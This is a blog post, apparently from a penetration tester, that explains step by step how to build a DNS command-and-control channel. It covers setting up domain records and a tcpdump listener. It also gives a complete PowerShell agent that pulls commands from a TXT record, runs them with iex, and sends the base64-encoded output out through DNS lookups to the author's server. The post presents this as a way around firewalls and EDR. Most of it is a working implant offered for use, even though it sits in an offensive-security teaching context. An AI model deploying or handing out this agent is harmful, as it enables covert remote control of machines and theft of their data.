Creating a DNS C2 server and agent
TL;DR — C2 communication over DNS can be simplified to a couple of DNS records and an internet-exposed server listening on port 53
C2 Communication Using DNS
TL;DR — C2 communication over DNS can be simplified to a couple of DNS records and an internet-exposed server listening on port 53

— [ 0 Introduction
I was recently in a position where my regular approach of using HTTPS for my C2 communication was blocked. It was in a hardened environment with EDR running and strict firewall rules. So what can you do other than go through and spend your weekend making a simple C2 setup to work over DNS… so that is exactly what I did! and here are the results! I did my best to document and explain everything that went into this, so enjoy!
— [ 1 Main concepts
— [ 1.1 Domain Name System (DNS)
Domain Name System (DNS) is in short the internet equivalent of looking up a name in a phone book to get an address. In this case, it’s just looking up a domain name to get an IP address [001].
For DNS to work it uses different types of records to facilitate name resolution. In this PoC we will be using the following types:
- A — Address (A) records return an IP address based on the domain name queried.
- NS — Name Server (NS) delegates a DNS zone to a given authoritative name server. A DNS zone is a specific part of the DNS namespace. This record redirects the query to our listening server
- TXT — A Text (TXT) Record to store data. This record is used to store the commands to be queried by our agent.
— [ 1.2 DNS as a communications channel
Using DNS as a means of command and control (C2) communication is nothing new [002]. This method is used by threat actors to circumvent firewall restrictions to either exfiltrate data or as a communications channel. The theory behind it is quite simple: You use the subdomain of a domain to store the data you are trying to exfiltrate. Then you have a DNS server setup to catch this communication. An example might be trying to exfiltrate a password, then you could just lookup “secretpassword123.yourdomain.com”. Of course, there is a bit more to it than that, so let's go into how this can be done from a practical perspective. For this post, we will be doing everything manually using LOLBins and custom scripts.
— [ 1.3 Our goals:
Our goals are two-fold. First, we want to receive data sent over DNS. Secondly, we want to be able to retrieve communications from DNS, such as commands for a C2 agent. Our final PoC will therefore consist of An agent to receives a command, executes it, and sends the result to a listening server. A server to receive this result. DNS records and infrastructure to support this.
— [ 2 DNS Records
For all this to work we will need some DNS records. Since we are just doing a simple PoC we will only need 3 records. An NS record to point to our receiving server. A TXT record to host our commands. And lastly, an A record to point to our listening server. We set up the records so, “shittymalware.xyz” will be the name of our domain, and “134.122.75.67” will be the IP of our listening server. For the setup, I will be using a domain name from Namecheap [003] and a server hosted in DigitalOcean [004].
— [ 2.1 Namecheap
Once you have purchased your domain, go into manage and set the Nameserver to “CustomDNS”, and have it point to the DigitalOcean name servers: ns1.digitalocean.com, ns2.digitalocean.com, and ns3.digitalocean.com.
— [ 2.2 Records
Now we can move to DigitalOcean and get our DNS records set up. First, create a droplet (or whatever a VM is called in your preferred cloud hosting service) for the OS I will be using Ubuntu but any Linux OS should work just fine.
Now we can move on to our records. The records will have the following values:
Type | Hostname | value | TTL
A | main.shittymalware.xyz | 134.122.75.67 | 3600
TXT | cmd.shittymalware.xyz | whoami | 30
NS | shittymalware.xyz | main.shittymalware.xyz. | 3600
Notice that for the TXT record, we are using a short time to live (TTL) so that the value is not cached for too long. This is because this is the main limiter on the frequency at which we can send new commands to our c2 agent.
With that setup, we can use Powershell or nslookup to check our work (it might take some time for any changes to be deployed by DNS providers, so be patient).
# Retrive CMD from txt record
Resolve-DnsName -Name cmd.shittymalware.xyz -Type TXT | select -Expand Strings
— [ 3 Server
— [ 3.1 PoC listener
The next step is to set up a server to retrieve whatever we will be exfiltrating, for our PoC it will just be the results from commands executed by our agent. By now you should have a VM up and running some sort of Linux. To be able to listen on port 53 (DNS) we will use tcpdump running as root. If you want to reduce noise you can turn off the services talking on this port [005]. Please note that turning off these services will inhibit other system functionality.
[Optional] Turn off local services using DNS:
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
Listen for incoming DNS traffic
sudo tcpdump -i any -T domain 'dst port 5335 or dst port 53 or dst port 853'
Now we can test this by trying to resolve a non-existent subdomain. In this case “123”.
# command from non-listening server
nslookup 123.shittymalware.xyz main.shittymalware.xyz
# Output on listening server
tcpdump: data link type LINUX_SLL2
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
14:45:57.680042 eth0 In IP 77.213.81.200.52002 > 167.172.191.10.domain: 1+ PTR? 10.191.172.167.in-addr.arpa. (45)
14:45:57.744818 lo In IP localhost.45119 > 127.0.0.53.domain: 46343+ [1au] PTR? 10.191.172.167.in-addr.arpa. (56)
14:45:57.744868 lo In IP localhost.60794 > 127.0.0.53.domain: 46343+ [1au] PTR? 10.191.172.167.in-addr.arpa. (56)
14:45:57.744978 lo In IP localhost.51550 > 127.0.0.53.domain: 12281+ [1au] PTR? 200.81.213.77.in-addr.arpa. (55)
14:45:57.745003 lo In IP localhost.54992 > 127.0.0.53.domain: 12281+ [1au] PTR? 200.81.213.77.in-addr.arpa. (55)
14:45:57.846035 lo In IP localhost.36284 > 127.0.0.53.domain: 46966+ [1au] PTR? 53.0.0.127.in-addr.arpa. (52)
14:45:57.846079 lo In IP localhost.35381 > 127.0.0.53.domain: 46966+ [1au] PTR? 53.0.0.127.in-addr.arpa. (52)
14:45:59.688915 eth0 In IP 77.213.81.200.59119 > 167.172.191.10.domain: 2+ A? 123.shittymalware.xyz. (39)
14:46:01.705897 eth0 In IP 77.213.81.200.59120 > 167.172.191.10.domain: 3+ AAAA? 123.shittymalware.xyz. (39)
— [ 4 Agent
With the server up and listening, we need something to send commands to it. We could just send communication manually, but where is the fun in that? Therefore, we will create a simple PowerShell script to act as our agent: retrieving commands and sending the results of those commands.
Please note that this agent is a PoC and therefore has limited functionality.
— [ 4.1 Structure
For the structure of the agent, I'm taking a page out of the book of hoaxshell by @t3l3machus [006]. This agent uses a simple while loop to get commands and post the results. The hoaxshell agent works over HTTP or HTTPS, so we will need to modify it a bit. For this, we will just take the previous commands and replace the HTTP functions of the original.
— [ 4.2 Code and demo
Below is the PoC code. It's a simple implementation that does not work with longer results, but it works and shows the general idea. the code is PowerShell but you should easily be able to rewrite it to suit your needs!
# Setup variables
$hostname='shittymalware.xyz';
# Frequency does not need to be lower as 30 seconds is the minimum TTL for our DNS record containing commands to send
$frequency=30;
while ($true)
{
# Retrive TXT with command to execute
$query = Resolve-DnsName -Name "cmd.$hostname" -Type TXT | select -Expand Strings;
# Execute command
$result = iex -Command $query -ErrorAction Stop -ErrorVariable e;
# Convert result to base64 and remove trailing '='
$base64=([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($result))).replace('=','');
# Send results to listening server
Resolve-DnsName -Name "$base64.$hostname" -Server "main.$hostname" -Type A;
# Sleep
sleep $frequency
}
Now it’s time for the most important part, the demo!

Demo with TXT record containing “whoami”
Decoding the DNS query we get the correct response for “whoami”.

Base64 decode
Now you are probably asking: but how do we send other commands to the agent? Well, you simply change the TXT record contents!
— [ 5 Conclusion
In conclusion, the subject covered in this post initially seems quite daunting with most resources available online giving sparse info on how to implement something similar. But in actuality, it turned out to be quite simple to get up and working. The approach presented here is sufficient for a rough PoC. It would be feasible to pretty quickly implement an expanded version of this using a custom DNS server for both the TXT record and for receiving lookup requests.
— [ 6 References
- [001] — Cloudflare — What is DNS — https://www.cloudflare.com/learning/dns/what-is-dns/
- [002] — SANS paper on the use of DNS for data exfil and C2 — https://www.sans.org/white-papers/34152/
- [003] — Namecheap — https://www.namecheap.com/
- [004] — DigitalOcean — https://www.digitalocean.com/
- [005] — How to free port 53 on Ubuntu — https://unix.stackexchange.com/questions/676942/free-up-port-53-on-ubuntu-so-custom-dns-server-can-use-it
- [006] — Hoaxshell — https://github.com/t3l3machus/hoaxshell
— [ 6.1 Other useful resources
- Sliver documentation — https://sliver.sh/docs?name=DNS+C2
- ObviousDNSC2 — https://github.com/chriselgee/ObviousDNSC2/blob/main/client/odc2client.py
- How the APT34 uses Saitama Backdoor for DNS tunnelling — https://www.socinvestigation.com/how-the-apt34-uses-saitama-backdoor-for-dns-tunnelling/
- DNSteal — https://helgeklein.com/blog/dns-exfiltration-tunneling-how-it-works-dnsteal-demo-setup/
- Querying DNS with PowerShell — https://www.techielass.com/querying-dns-records-with-powershell/
메타데이터
- post_id
- 26fb8d556dc0
- slug
- creating-a-dns-c2-server-and-agent-26fb8d556dc0
- url
- https://medium.com/@0x0vid/creating-a-dns-c2-server-and-agent-26fb8d556dc0
- canonical_url
- https://medium.com/@0x0vid/creating-a-dns-c2-server-and-agent-26fb8d556dc0
- author_url
- https://medium.com/@0x0vid
- status
- ok
- fetched_at
- 2026-06-27 18:20:27